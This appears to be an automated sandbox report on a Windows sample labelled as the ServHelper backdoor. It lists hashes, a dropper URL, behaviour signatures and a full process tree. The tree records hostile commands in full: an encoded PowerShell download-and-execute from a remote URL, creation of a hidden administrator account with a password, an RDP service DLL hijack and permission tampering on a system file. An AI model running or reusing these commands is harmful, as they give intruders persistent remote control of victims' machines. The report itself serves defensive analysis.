Analysis

  • max time kernel
    138s
  • max time network
    39s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    24-09-2021 19:05

General

  • Target

    5367615a3d3f95eeab592a53716ed3bb.exe

  • Size

    5.7MB

  • MD5

    5367615a3d3f95eeab592a53716ed3bb

  • SHA1

    8592c6e78aa592d9f135dbe9d97cf2f524dbeaed

  • SHA256

    af7e2ecb8e84ad61c276347e0e766e21a043f2119dacb19ae538bddf5d0452f0

  • SHA512

    383fada6525e8ced7cc40c14d6cb6718583da6dca4f7db2654c15c0842a692d2011364da6f53690f005ed33f90606e81836eefeb8df04de655904fa5776b8790

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5367615a3d3f95eeab592a53716ed3bb.exe
    "C:\Users\Admin\AppData\Local\Temp\5367615a3d3f95eeab592a53716ed3bb.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1756
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:952
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kc8kvr8p.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:856
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEB87.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCEB86.tmp"
          4⤵
            PID:540
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1808
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1508
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1960
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1564
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1560
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:856
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1856
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:612
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1608
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1980
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1088
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:392
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:812
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1820
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1400
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:732
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1636
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:556
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1556
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1740
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:892
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1948
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:944
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1968
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1516
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1528
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user wgautilacc Ghar4f5 /del
                            1⤵
                              PID:1292
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc Ghar4f5 /del
                                2⤵
                                  PID:1384
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                                    3⤵
                                      PID:1260
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user wgautilacc OLe9MZ8B /add
                                  1⤵
                                    PID:928
                                    • C:\Windows\system32\net.exe
                                      net.exe user wgautilacc OLe9MZ8B /add
                                      2⤵
                                        PID:1352
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user wgautilacc OLe9MZ8B /add
                                          3⤵
                                            PID:784
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                        1⤵
                                          PID:816
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                            2⤵
                                              PID:612
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                                3⤵
                                                  PID:1984
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                              1⤵
                                                PID:1304
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                  2⤵
                                                    PID:1812
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                      3⤵
                                                        PID:1412
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                    1⤵
                                                      PID:1868
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                        2⤵
                                                          PID:1400
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                                            3⤵
                                                              PID:1532
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user wgautilacc OLe9MZ8B
                                                          1⤵
                                                            PID:556
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user wgautilacc OLe9MZ8B
                                                              2⤵
                                                                PID:1728
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user wgautilacc OLe9MZ8B
                                                                  3⤵
                                                                    PID:1604
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1384
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1112
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:928
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1252
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1984
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1344
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1812

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/856-76-0x0000000002130000-0x0000000002132000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/952-78-0x000000000266D000-0x000000000266E000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/952-65-0x0000000002644000-0x0000000002647000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/952-63-0x0000000002640000-0x0000000002642000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/952-61-0x000007FEFC271000-0x000007FEFC273000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/952-62-0x000007FEEB3B0000-0x000007FEEBF0D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/952-64-0x0000000002642000-0x0000000002644000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/952-75-0x000000000264B000-0x000000000266A000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1508-95-0x0000000002632000-0x0000000002634000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1508-93-0x0000000002634000-0x0000000002637000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1508-100-0x000000000263C000-0x000000000265B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1508-97-0x000000001B920000-0x000000001BC1F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1508-96-0x0000000002637000-0x0000000002638000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1508-92-0x000007FEEB3B0000-0x000007FEEBF0D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1508-94-0x0000000002630000-0x0000000002632000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1756-58-0x0000000041486000-0x0000000041487000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1756-59-0x0000000041487000-0x0000000041488000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1756-57-0x0000000041484000-0x0000000041486000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1756-54-0x0000000041900000-0x0000000041CFF000-memory.dmp

                                                                        Filesize

                                                                        4.0MB

                                                                      • memory/1756-56-0x0000000041482000-0x0000000041484000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1808-85-0x0000000002764000-0x0000000002767000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1808-86-0x0000000002767000-0x0000000002768000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1808-84-0x0000000002762000-0x0000000002764000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1808-82-0x000007FEEB3B0000-0x000007FEEBF0D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1808-87-0x000000001B830000-0x000000001BB2F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1808-91-0x000000000276C000-0x000000000278B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1808-83-0x0000000002760000-0x0000000002762000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1812-153-0x0000000001342000-0x0000000001344000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1812-152-0x0000000001340000-0x0000000001342000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1812-154-0x0000000001344000-0x0000000001347000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1812-151-0x000007FEEB3B0000-0x000007FEEBF0D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1812-155-0x000000000134B000-0x000000000136A000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1960-102-0x000007FEEB3B0000-0x000007FEEBF0D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1960-103-0x000000001B8D0000-0x000000001BBCF000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1960-104-0x00000000026F0000-0x00000000026F2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1960-105-0x00000000026F2000-0x00000000026F4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1960-106-0x00000000026F4000-0x00000000026F7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1960-107-0x00000000026F7000-0x00000000026F8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1960-108-0x00000000026FC000-0x000000000271B000-memory.dmp

                                                                        Filesize

                                                                        124KB